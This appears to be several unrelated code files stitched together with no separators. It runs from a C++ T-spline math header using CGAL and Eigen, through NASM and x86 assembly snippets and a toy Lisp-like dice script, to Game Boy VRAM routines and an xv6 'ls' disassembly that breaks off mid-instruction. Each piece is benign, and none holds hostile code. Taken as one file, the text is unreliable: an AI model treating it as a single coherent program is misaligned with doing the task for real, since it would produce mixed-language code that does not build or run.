/* Copyright (c) <2014> <Thomas Mörwald, Vienna University of Technology> All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below) provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of <Owner Organization> nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ // This file contains mathematical definitions derifed from CGAL and Eigen // It implements some helper functions like arithmetic mean, principal component // analysis (PCA) and comparison of floating point values and vectors #ifndef _TSPLINE_MATH_H_ #define _TSPLINE_MATH_H_ #include <vector> #include <stdio.h> #include <stdexcept> #include <limits> #undef Success #include <Eigen/Eigen> #include <CGAL/Cartesian.h> #include <CGAL/MP_Float.h> #include <CGAL/Quotient.h> #include <CGAL/Arr_segment_traits_2.h> #include <CGAL/Arrangement_2.h> #include <CGAL/Arr_extended_dcel.h> #define SIZE_T_MAX std::numeric_limits<std::size_t>::max() namespace tspline { // derive algebraic objects from CGAL types typedef CGAL::Cartesian<double> Kernel; typedef CGAL::Arr_segment_traits_2<Kernel> Traits_2; typedef Kernel::Point_2 Point2d; typedef Kernel::Point_3 Point3d; typedef Kernel::Vector_2 Vector2d; typedef Kernel::Vector_3 Vector3d; typedef Kernel::Ray_3 Ray; typedef Kernel::Direction_3 Direction3d; typedef Traits_2::X_monotone_curve_2 Segment2; // numerical limits static double epsilon = 10.0 * std::numeric_limits<float>::epsilon(); // float because tgModel using OpenGL is float static double digits = 1e10; static double div_digits = 1e-10; /** @brief extends Point3d by the weight entry for control points (weight is 1.0 by default) */ class Point4d : public Point3d { protected: double weight; public: Point4d() : Point3d(), weight(1.0) { } Point4d(const Point3d& a, const double& w=1.0) : Point3d(a), weight(w) { } Point4d(const double& x, const double& y, const double& z, const double& w) : Point3d(x,y,z), weight(w) { } Point4d(const double& x, const double& y, const double& z) : Point3d(x,y,z), weight(1.0) { } void operator=(const Point3d& a) { *this = Point4d(a); } double w() const { return weight; } }; /** @brief aligned Eigen::Vector classes */ typedef std::vector<Eigen::Vector4d, Eigen::aligned_allocator<Eigen::Vector4d> > vector_vec4d; typedef std::vector<Eigen::Vector3d, Eigen::aligned_allocator<Eigen::Vector3d> > vector_vec3d; typedef std::vector<Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > vector_vec2d; /** @brief compute the arithmetic mean of a vector of Vector3d * @param data input data */ inline Eigen::Vector3d compute_mean (const vector_vec3d &data) { Eigen::Vector3d u (0.0, 0.0, 0.0); unsigned s = unsigned (data.size ()); double ds = 1.0 / s; for (unsigned i = 0; i < s; i++) u += (data[i] * ds); return u; } /** @brief compute the principal components of a vector of Vector3d * @param data in: input data * @param mean out: the arithmetic mean of the data * @param eigenvectors out: the eigenvectors sorted descending by their eigenvalues * @param eigenvalues out: descending eigenvalues */ inline void pca (const vector_vec3d &data, Eigen::Vector3d &mean, Eigen::Matrix3d &eigenvectors, Eigen::Vector3d &eigenvalues) { if (data.empty ()) throw std::runtime_error ("[Math::pca] Error, data is empty\n"); mean = compute_mean (data); unsigned s = unsigned (data.size ()); Eigen::MatrixXd Q (3, s); for (unsigned i = 0; i < s; i++) Q.col (i) << (data[i] - mean); Eigen::Matrix3d C = Q * Q.transpose (); Eigen::SelfAdjointEigenSolver<Eigen::Matrix3d> eigensolver (C); if (eigensolver.info () != Eigen::Success) throw std::runtime_error ("[Math::pca] Can not find eigenvalues.\n"); // reverse ordering of eigenvalues and eigenvectors for (int i = 0; i < 3; ++i) { eigenvalues (i) = eigensolver.eigenvalues () (2 - i); if (i == 2) eigenvectors.col (2) = eigenvectors.col (0).cross (eigenvectors.col (1)); else eigenvectors.col (i) = eigensolver.eigenvectors ().col (2 - i); } } // comparison functions for floating point data types // == static bool equal(const double& a, const double& b) { if(std::abs<double>(a-b) < epsilon) return true; else return false; } // > static bool greater(const double &a, const double &b) { if(equal(a,b)) // equal return false; else if(a < b) return false; else return true; } // < static bool smaller(const double &a, const double &b) { if(equal(a,b)) // equal return false; else if(a > b) return false; else return true; } // >= static bool gequal(const double &a, const double &b) { if(equal(a,b)) // equal return true; else if(a > b) return true; else return false; } // <= static bool sequal(const double &a, const double &b) { if(equal(a,b)) return true; else if(a < b) return true; else return false; } // == static bool equal( const Point2d& a, const Point2d& b) { if(equal(a.x(), b.x()) && equal(a.y(), b.y())) return true; else return false; } // == static bool equal( const Point3d& a, const Point3d& b) { if(equal(a.x(), b.x()) && equal(a.y(), b.y()) && equal(a.z(), b.z())) return true; else return false; } // == static bool equal( const Eigen::Vector3d& a, const Eigen::Vector3d& b) { if(equal(a(0), b(0)) && equal(a(1), b(1)) && equal(a(2),b(2))) return true; else return false; } /** @brief adjust a double value to a grid of minimal resolution */ static double adjust(const double &a) { return a; // return double(float(a)); double b = round(a * digits) * div_digits; // if(equal(b,0.0)) // b = 0.0; return b; } /** @brief adjust a Point2D value to a grid of minimal resolution */ static Point2d adjust(const Point2d &p) { return Point2d(adjust(p.x()), adjust(p.y())); } /** @brief adjust a Point3D value to a grid of minimal resolution */ static Point3d adjust(const Point3d &p) { return Point3d(adjust(p.x()), adjust(p.y()), adjust(p.z())); } /** @brief dot product of CGAL::Vector3d (NOT Eigen)*/ static double dot( const Vector3d& a, const Vector3d& b ) { return ( a.x()*b.x() + a.y()*b.y() + a.z()*b.z() ); } /** @brief L2 norm of CGAL::Vector3d (NOT Eigen) */ static double norm( const Vector3d& a ) { return sqrt(a.squared_length()); } /** @brief angle between two CGAL::Vector3d (NOT Eigen) */ static double angle( const Vector3d& a, const Vector3d& b ) { return acos( dot(a,b) / (norm(a) * norm(b)) ); } } #endif
segment .data fmt: dq "%lld ",10,0 ffmt: dq "Sum: %lld ",10,0 ppp: dq "Numbers: ",10,0 prr: dq "",10,0 ssfmt: dq "%lld",0 segment .bss a: resq 255 b: resq 2 c: resq 2 d: resq 2 segment .text global main extern printf extern scanf main: push RBP xor rcx, rcx mov [c] , rcx ll: mov rbx , rcx mov [b], rcx xor rax, rax mov rdi , ssfmt mov rsi, d call scanf mov rax , [d] mov [a+rbx*8],rax xor rax , rax add rax, [c] add rax, [d] mov [c], rax mov rcx , [b] INC rcx cmp rcx , 20 jne ll xor rax , rax mov rdi , ffmt mov rsi , [c] call printf xor rax , rax mov rdi , prr call printf xor rax, rax mov rdi, ppp call printf xor rcx, rcx sll: mov [b] , rcx mov rbx , [a+rcx*8] xor rax , rax mov rdi , fmt mov rsi, rbx call printf mov rcx, [b] INC rcx cmp rcx , 20 jne sll pop RBP ret
%include "debug.asm" section .rodata red: db "RED", 0 orange: db "ORANGE", 0 yellow: db "YELLOW", 0 green: db "GREEN", 0 blue: db "BLUE", 0 indigo: db "INDIGO", 0 violet: db "VIOLET", 0 jump_table: dd label_red - jump_table dd label_orange - jump_table dd label_yellow - jump_table dd label_green - jump_table dd label_blue - jump_table dd label_indigo - jump_table dd label_violet - jump_table section .text global color_name color_name: mov edi, edi lea rdx, [rel jump_table] movsx rax, dword [rdx + rdi * 4] add rax, rdx jmp rax label_red: lea rax, [rel red] ret label_orange: lea rax, [rel orange] ret label_yellow: lea rax, [rel yellow] ret label_green: lea rax, [rel green] ret label_blue: lea rax, [rel blue] ret label_indigo: lea rax, [rel indigo] ret label_violet: lea rax, [rel violet] ret
################################################################################ # Dice example: # # > (roll d6) # 5 # > (roll dHIT) # "right leg" # > (attack) # You hit the Orc in the head for 6 damage! #################### (function roll [dice] # Dice rolling function. (if (tuple? dice) (random dice))) (function rollRandom [] (roll (roll dRANDOM))) (function d [dice] # An additional dice rolling function. (roll (range 1 (+ dice 1)))) (var d4 (range 1 5)) (var d6 (range 1 7)) (var d8 (range 1 9)) (var d10 (range 1 11)) (var d100 (range 1 101)) (var d% d100) # An alias for the d100 (var d20 (range 1 21)) (var d30 (range 1 31)) (var dHIT '("head" "upper body" "lower body" "left arm" "right arm" "left leg" "right leg")) (var dRANDOM (tuple d4 d6 d8 d10 d% d20 d30)) ## Roll some dice: (roll 2) # Fnord! (rollRandom) (roll d4) (* 2 (roll d20)) (d 4) (+ (* 2 (d 4)) 3) (function hitTheOrc [] # Ouch! `(You hit the Orc in the $(roll dHIT) for $(+ (d 8) 4) damage!)) (function attack [] # Ouch^2! (map (lambda (arg) (write arg \s)) (append (hitTheOrc) \n)))
; Functions dealing with VRAM. DMATransfer:: ; Return carry if the transfer is completed. ldh a, [hDMATransfer] and a ret z ; Start transfer ldh [rHDMA5], a ; Execution is halted until the transfer is complete. xor a ldh [hDMATransfer], a scf ret UpdateBGMapBuffer:: ; Copy [hBGMapTileCount] 16x8 tiles from wBGMapBuffer ; to bg map addresses in wBGMapBufferPtrs. ; [hBGMapTileCount] must be even since this is done in pairs. ; Return carry on success. ldh a, [hBGMapUpdate] and a ret z ldh a, [rVBK] push af ld [hSPBuffer], sp ld hl, wBGMapBufferPtrs ld sp, hl ; We can now pop the addresses of affected spots on the BG Map ld hl, wBGMapPalBuffer ld de, wBGMapBuffer .next ; Copy a pair of 16x8 blocks (one 16x16 block) rept 2 ; Get our BG Map address pop bc ; Palettes ld a, 1 ldh [rVBK], a ld a, [hli] ld [bc], a inc c ld a, [hli] ld [bc], a dec c ; Tiles xor a ldh [rVBK], a ld a, [de] inc de ld [bc], a inc c ld a, [de] inc de ld [bc], a endr ; We've done 2 16x8 blocks ldh a, [hBGMapTileCount] dec a dec a ldh [hBGMapTileCount], a jr nz, .next ldh a, [hSPBuffer] ld l, a ldh a, [hSPBuffer + 1] ld h, a ld sp, hl pop af ldh [rVBK], a xor a ldh [hBGMapUpdate], a scf ret WaitTop:: ; Wait until the top third of the BG Map is being updated. ldh a, [hBGMapMode] and a ret z ldh a, [hBGMapThird] and a jr z, .done call DelayFrame jr WaitTop .done xor a ldh [hBGMapMode], a ret UpdateBGMap:: ; Update the BG Map, in thirds, from wTileMap and wAttrMap. ldh a, [hBGMapMode] and a ret z ; BG Map 0 dec a ; 1 jr z, .Tiles dec a ; 2 jr z, .Attr ; BG Map 1 dec a ldh a, [hBGMapAddress] ld l, a ldh a, [hBGMapAddress + 1] ld h, a push hl xor a ; LOW(vBGMap1) ldh [hBGMapAddress], a ld a, HIGH(vBGMap1) ldh [hBGMapAddress + 1], a ldh a, [hBGMapMode] push af cp 3 call z, .Tiles pop af cp 4 call z, .Attr pop hl ld a, l ldh [hBGMapAddress], a ld a, h ldh [hBGMapAddress + 1], a ret .Attr: ld a, 1 ldh [rVBK], a hlcoord 0, 0, wAttrMap call .update xor a ldh [rVBK], a ret .Tiles: hlcoord 0, 0 .update ld [hSPBuffer], sp ; Which third? ldh a, [hBGMapThird] and a ; 0 jr z, .top dec a ; 1 jr z, .middle ; 2 THIRD_HEIGHT EQU SCREEN_HEIGHT / 3 .bottom ld de, 2 * THIRD_HEIGHT * SCREEN_WIDTH add hl, de ld sp, hl ldh a, [hBGMapAddress + 1] ld h, a ldh a, [hBGMapAddress] ld l, a ld de, 2 * THIRD_HEIGHT * BG_MAP_WIDTH add hl, de ; Next time: top third xor a jr .start .middle ld de, THIRD_HEIGHT * SCREEN_WIDTH add hl, de ld sp, hl ldh a, [hBGMapAddress + 1] ld h, a ldh a, [hBGMapAddress] ld l, a ld de, THIRD_HEIGHT * BG_MAP_WIDTH add hl, de ; Next time: bottom third ld a, 2 jr .start .top ld sp, hl ldh a, [hBGMapAddress + 1] ld h, a ldh a, [hBGMapAddress] ld l, a ; Next time: middle third ld a, 1 .start ; Which third to update next time ldh [hBGMapThird], a ; Rows of tiles in a third ld a, SCREEN_HEIGHT / 3 ; Discrepancy between wTileMap and BGMap ld bc, BG_MAP_WIDTH - (SCREEN_WIDTH - 1) .row ; Copy a row of 20 tiles rept SCREEN_WIDTH / 2 - 1 pop de ld [hl], e inc l ld [hl], d inc l endr pop de ld [hl], e inc l ld [hl], d add hl, bc dec a jr nz, .row ldh a, [hSPBuffer] ld l, a ldh a, [hSPBuffer + 1] ld h, a ld sp, hl ret Serve1bppRequest:: ; Only call during the first fifth of VBlank ld a, [wRequested1bpp] and a ret z ; Back out if we're too far into VBlank ldh a, [rLY] cp LY_VBLANK ret c cp LY_VBLANK + 2 ret nc ; Copy [wRequested1bpp] 1bpp tiles from [wRequested1bppSource] to [wRequested1bppDest] ld [hSPBuffer], sp ; Source ld hl, wRequested1bppSource ld a, [hli] ld h, [hl] ld l, a ld sp, hl ; Destination ld hl, wRequested1bppDest ld a, [hli] ld h, [hl] ld l, a ; # tiles to copy ld a, [wRequested1bpp] ld b, a xor a ld [wRequested1bpp], a .next rept 3 pop de ld [hl], e inc l ld [hl], e inc l ld [hl], d inc l ld [hl], d inc l endr pop de ld [hl], e inc l ld [hl], e inc l ld [hl], d inc l ld [hl], d inc hl dec b jr nz, .next ld a, l ld [wRequested1bppDest], a ld a, h ld [wRequested1bppDest + 1], a ld [wRequested1bppSource], sp ldh a, [hSPBuffer] ld l, a ldh a, [hSPBuffer + 1] ld h, a ld sp, hl ret Serve2bppRequest:: ; Only call during the first fifth of VBlank ld a, [wRequested2bpp] and a ret z ; Back out if we're too far into VBlank ldh a, [rLY] cp LY_VBLANK ret c cp LY_VBLANK + 2 ret nc jr _Serve2bppRequest Serve2bppRequest_VBlank:: ld a, [wRequested2bpp] and a ret z _Serve2bppRequest:: ; Copy [wRequested2bpp] 2bpp tiles from [wRequested2bppSource] to [wRequested2bppDest] ld [hSPBuffer], sp ; Source ld hl, wRequested2bppSource ld a, [hli] ld h, [hl] ld l, a ld sp, hl ; Destination ld hl, wRequested2bppDest ld a, [hli] ld h, [hl] ld l, a ; # tiles to copy ld a, [wRequested2bpp] ld b, a xor a ld [wRequested2bpp], a .next rept 7 pop de ld [hl], e inc l ld [hl], d inc l endr pop de ld [hl], e inc l ld [hl], d inc hl dec b jr nz, .next ld a, l ld [wRequested2bppDest], a ld a, h ld [wRequested2bppDest + 1], a ld [wRequested2bppSource], sp ldh a, [hSPBuffer] ld l, a ldh a, [hSPBuffer + 1] ld h, a ld sp, hl ret AnimateTileset:: ; Only call during the first fifth of VBlank ldh a, [hMapAnims] and a ret z ; Back out if we're too far into VBlank ldh a, [rLY] cp LY_VBLANK ret c cp LY_VBLANK + 7 ret nc ldh a, [hROMBank] push af ld a, BANK(_AnimateTileset) rst Bankswitch ldh a, [rSVBK] push af ld a, BANK(wTilesetAnim) ldh [rSVBK], a ldh a, [rVBK] push af xor a ldh [rVBK], a call _AnimateTileset pop af ldh [rVBK], a pop af ldh [rSVBK], a pop af rst Bankswitch ret
_ls: file format elf32-i386 Disassembly of section .text: 00000000 <main>: close(fd); } int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: bb 01 00 00 00 mov $0x1,%ebx 16: 83 ec 08 sub $0x8,%esp 19: 8b 31 mov (%ecx),%esi 1b: 8b 79 04 mov 0x4(%ecx),%edi int i; if(argc < 2){ 1e: 83 fe 01 cmp $0x1,%esi 21: 7e 1f jle 42 <main+0x42> 23: 90 nop 24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ls("."); exit(); } for(i=1; i<argc; i++) ls(argv[i]); 28: 83 ec 0c sub $0xc,%esp 2b: ff 34 9f pushl (%edi,%ebx,4) if(argc < 2){ ls("."); exit(); } for(i=1; i<argc; i++) 2e: 83 c3 01 add $0x1,%ebx ls(argv[i]); 31: e8 ca 00 00 00 call 100 <ls> if(argc < 2){ ls("."); exit(); } for(i=1; i<argc; i++) 36: 83 c4 10 add $0x10,%esp 39: 39 de cmp %ebx,%esi 3b: 75 eb jne 28 <main+0x28> ls(argv[i]); exit(); 3d: e8 40 05 00 00 call 582 <exit> main(int argc, char *argv[]) { int i; if(argc < 2){ ls("."); 42: 83 ec 0c sub $0xc,%esp 45: 68 48 0a 00 00 push $0xa48 4a: e8 b1 00 00 00 call 100 <ls> exit(); 4f: e8 2e 05 00 00 call 582 <exit> 54: 66 90 xchg %ax,%ax 56: 66 90 xchg %ax,%ax 58: 66 90 xchg %ax,%ax 5a: 66 90 xchg %ax,%ax 5c: 66 90 xchg %ax,%ax 5e: 66 90 xchg %ax,%ax 00000060 <fmtname>: #include "user.h" #include "fs.h" char* fmtname(char *path) { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 56 push %esi 64: 53 push %ebx 65: 8b 5d 08 mov 0x8(%ebp),%ebx static char buf[DIRSIZ+1]; char *p; // Find first character after last slash. for(p=path+strlen(path); p >= path && *p != '/'; p--) 68: 83 ec 0c sub $0xc,%esp 6b: 53 push %ebx 6c: e8 4f 03 00 00 call 3c0 <strlen> 71: 83 c4 10 add $0x10,%esp 74: 01 d8 add %ebx,%eax 76: 73 0f jae 87 <fmtname+0x27> 78: eb 12 jmp 8c <fmtname+0x2c> 7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80: 83 e8 01 sub $0x1,%eax 83: 39 c3 cmp %eax,%ebx 85: 77 05 ja 8c <fmtname+0x2c> 87: 80 38 2f cmpb $0x2f,(%eax) 8a: 75 f4 jne 80 <fmtname+0x20> ; p++; 8c: 8d 58 01 lea 0x1(%eax),%ebx // Return blank-padded name. if(strlen(p) >= DIRSIZ) 8f: 83 ec 0c sub $0xc,%esp 92: 53 push %ebx 93: e8 28 03 00 00 call 3c0 <strlen> 98: 83 c4 10 add $0x10,%esp 9b: 83 f8 0d cmp $0xd,%eax 9e: 77 4a ja ea <fmtname+0x8a> return p; memmove(buf, p, strlen(p)); a0: 83 ec 0c sub $0xc,%esp a3: 53 push %ebx a4: e8 17 03 00 00 call 3c0 <strlen> a9: 83 c4 0c add $0xc,%esp ac: 50 push %eax ad: 53 push %ebx ae: 68 60 0d 00 00 push $0xd60 b3: e8 98 04 00 00 call 550 <memmove> memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); b8: 89 1c 24 mov %ebx,(%esp) bb: e8 00 03 00 00 call 3c0 <strlen> c0: 89 1c 24 mov %ebx,(%esp) c3: 89 c6 mov %eax,%esi return buf; c5: bb 60 0d 00 00 mov $0xd60,%ebx // Return blank-padded name. if(strlen(p) >= DIRSIZ) return p; memmove(buf, p, strlen(p)); memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); ca: e8 f1 02 00 00 call 3c0 <strlen> cf: ba 0e 00 00 00 mov $0xe,%edx d4: 83 c4 0c add $0xc,%esp d7: 05 60 0d 00 00 add $0xd60,%eax dc: 29 f2 sub %esi,%edx de: 52 push %edx df: 6a 20 push $0x20 e1: 50 push %eax e2: e8 09 03 00 00 call 3f0 <memset> return buf; e7: 83 c4 10 add $0x10,%esp } ea: 8d 65 f8 lea -0x8(%ebp),%esp ed: 89 d8 mov %ebx,%eax ef: 5b pop %ebx f0: 5e pop %esi f1: 5d pop %ebp f2: c3 ret f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000100 <ls>: void ls(char *path) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 57 push %edi 104: 56 push %esi 105: 53 push %ebx 106: 81 ec 64 02 00 00 sub $0x264,%esp 10c: 8b 7d 08 mov 0x8(%ebp),%edi char buf[512], *p; int fd; struct dirent de; struct stat st; if((fd = open(path, 0)) < 0){ 10f: 6a 00 push $0x0 111: 57 push %edi 112: e8 ab 04 00 00 call 5c2 <open> 117: 83 c4 10 add $0x10,%esp 11a: 85 c0 test %eax,%eax 11c: 0f 88 9e 01 00 00 js 2c0 <ls+0x1c0> printf(2, "ls: cannot open %s\n", path); return; } if(fstat(fd, &st) < 0){ 122: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi 128: 83 ec 08 sub $0x8,%esp 12b: 89 c3 mov %eax,%ebx 12d: 56 push %esi 12e: 50 push %eax 12f: e8 a6 04 00 00 call 5da <fstat> 134: 83 c4 10 add $0x10,%esp 137: 85 c0 test %eax,%eax 139: 0f 88 c1 01 00 00 js 300 <ls+0x200> printf(2, "ls: cannot stat %s\n", path); close(fd); return; } switch(st.type){ 13f: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax 146: 66 83 f8 01 cmp $0x1,%ax 14a: 74 54 je 1a0 <ls+0xa0> 14c: 66 83 f8 02 cmp $0x2,%ax 150: 75 37 jne 189 <ls+0x89> case T_FILE: printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); 152: 83 ec 0c sub $0xc,%esp 155: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx 15b: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi 161: 57 push %edi 162: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp) 168: e8 f3 fe ff ff call 60 <fmtname> 16d: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx 173: 59 pop %ecx 174: 5f pop %edi 175: 52 push %edx 176: 56 push %esi 177: 6a 02 push $0x2 179: 50 push %eax 17a: 68 28 0a 00 00 push $0xa28 17f: 6a 01 push $0x1 181: e8 5a 05 00 00 call 6e0 <printf> break; 186: 83 c4 20 add $0x20,%esp } printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); } break; } close(fd); 189: 83 ec 0c sub $0xc,%esp 18c: 53 push %ebx 18d: e8 18 04 00 00 call 5aa <close> 192: 83 c4 10 add $0x10,%esp } 195: 8d 65 f4 lea -0xc(%ebp),%esp 198: 5b pop %ebx 199: 5e pop %esi 19a: 5f pop %edi 19b: 5d pop %ebp 19c: c3 ret 19d: 8d 76 00 lea 0x0(%esi),%esi case T_FILE: printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); break; case T_DIR: if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ 1a0: 83 ec 0c sub $0xc,%esp 1a3: 57 push %edi 1a4: e8 17 02 00 00 call 3c0 <strlen> 1a9: 83 c0 10 add $0x10,%eax 1ac: 83 c4 10 add $0x10,%esp 1af: 3d 00 02 00 00 cmp $0x200,%eax 1b4: 0f 87 26 01 00 00 ja 2e0 <ls+0x1e0> printf(1, "ls: path too long\n"); break; } strcpy(buf, path); 1ba: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 1c0: 83 ec 08 sub $0x8,%esp 1c3: 57 push %edi 1c4: 8d bd c4 fd ff ff lea -0x23c(%ebp),%edi 1ca: 50 push %eax 1cb: e8 70 01 00 00 call 340 <strcpy> p = buf+strlen(buf); 1d0: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 1d6: 89 04 24 mov %eax,(%esp) 1d9: e8 e2 01 00 00 call 3c0 <strlen> 1de: 8d 95 e8 fd ff ff lea -0x218(%ebp),%edx *p++ = '/'; while(read(fd, &de, sizeof(de)) == sizeof(de)){ 1e4: 83 c4 10 add $0x10,%esp if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ printf(1, "ls: path too long\n"); break; } strcpy(buf, path); p = buf+strlen(buf); 1e7: 8d 0c 02 lea (%edx,%eax,1),%ecx *p++ = '/'; 1ea: 8d 84 05 e9 fd ff ff lea -0x217(%ebp,%eax,1),%eax if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ printf(1, "ls: path too long\n"); break; } strcpy(buf, path); p = buf+strlen(buf); 1f1: 89 8d a8 fd ff ff mov %ecx,-0x258(%ebp) *p++ = '/'; 1f7: 89 85 a4 fd ff ff mov %eax,-0x25c(%ebp) 1fd: c6 01 2f movb $0x2f,(%ecx) while(read(fd, &de, sizeof(de)) == sizeof(de)){ 200: 83 ec 04 sub $0x4,%esp 203: 6a 10 push $0x10 205: 57 push %edi 206: 53 push %ebx 207: e8 8e 03 00 00 call 59a <read> 20c: 83 c4 10 add $0x10,%esp 20f: 83 f8 10 cmp $0x10,%eax 212: 0f 85 71 ff ff ff jne 189 <ls+0x89> if(de.inum == 0) 218: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp) 21f: 00 220: 74 de je 200 <ls+0x100> continue; memmove(p, de.name, DIRSIZ); 222: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax 228: 83 ec 04 sub $0x4,%esp 22b: 6a 0e push $0xe 22d: 50 push %eax 22e: ff b5 a4 fd ff ff pushl -0x25c(%ebp) 234: e8 17 03 00 00 call 550 <memmove> p[DIRSIZ] = 0; 239: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax 23f: c6 40 0f 00 movb $0x0,0xf(%eax) if(stat(buf, &st) < 0){ 243: 58 pop %eax 244: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 24a: 5a pop %edx 24b: 56 push %esi 24c: 50 push %eax 24d: e8 6e 02 00 00 call 4c0 <stat> 252: 83 c4 10 add $0x10,%esp 255: 85 c0 test %eax,%eax 257: 0f 88 c3 00 00 00 js 320 <ls+0x220> printf(1, "ls: cannot stat %s\n", buf); continue; } printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); 25d: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx 263: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax 26a: 83 ec 0c sub $0xc,%esp 26d: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx 273: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp) 279: 8d 8d e8 fd ff ff lea -0x218(%ebp),%ecx 27f: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp) 285: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp) 28b: 51 push %ecx 28c: e8 cf fd ff ff call 60 <fmtname> 291: 5a pop %edx 292: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx 298: 59 pop %ecx 299: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx 29f: 51 push %ecx 2a0: 52 push %edx 2a1: ff b5 b4 fd ff ff pushl -0x24c(%ebp) 2a7: 50 push %eax 2a8: 68 28 0a 00 00 push $0xa28 2ad: 6a 01 push $0x1 2af: e8 2c 04 00 00 call 6e0 <printf> 2b4: 83 c4 20 add $0x20,%esp 2b7: e9 44 ff ff ff jmp 200 <ls+0x100> 2bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; struct dirent de; struct stat st; if((fd = open(path, 0)) < 0){ printf(2, "ls: cannot open %s\n", path); 2c0: 83 ec 04 sub $0x4,%esp 2c3: 57 push %edi 2c4: 68 00 0a 00 00 push $0xa00 2c9: 6a 02 push $0x2 2cb: e8 10 04 00 00 call 6e0 <printf> return; 2d0: 83 c4 10 add $0x10,%esp printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); } break; } close(fd); } 2d3: 8d 65 f4 lea -0xc(%ebp),%esp 2d6: 5b pop %ebx 2d7: 5e pop %esi 2d8: 5f pop %edi 2d9: 5d pop %ebp 2da: c3 ret 2db: 90 nop 2dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); break; case T_DIR: if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ printf(1, "ls: path too long\n"); 2e0: 83 ec 08 sub $0x8,%esp 2e3: 68 35 0a 00 00 push $0xa35 2e8: 6a 01 push $0x1 2ea: e8 f1 03 00 00 call 6e0 <printf> break; 2ef: 83 c4 10 add $0x10,%esp 2f2: e9 92 fe ff ff jmp 189 <ls+0x89> 2f7: 89 f6 mov %esi,%esi 2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi printf(2, "ls: cannot open %s\n", path); return; } if(fstat(fd, &st) < 0){ printf(2, "ls: cannot stat %s\n", path); 300: 83 ec 04 sub $0x4,%esp 303: 57 push %edi 304: 68 14 0a 00 00 push $0xa14 309: 6a 02 push $0x2 30b: e8 d0 03 00 00 call 6e0 <printf> close(fd); 310: 89 1c 24 mov %ebx,(%esp) 313: e8 92 02 00 00 call 5aa <close> return; 318: 83 c4 10 add $0x10,%esp 31b: e9 75 fe ff ff jmp 195 <ls+0x95> if(de.inum == 0) continue; memmove(p, de.name, DIRSIZ); p[DIRSIZ] = 0; if(stat(buf, &st) < 0){ printf(1, "ls: cannot stat %s\n", buf); 320: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 326: 83 ec 04 sub $0x4,%esp 329: 50 push %eax 32a: 68 14 0a 00 00 push $0xa14 32f: 6a 01 push $0x1 331: e8 aa 03 00 00 call 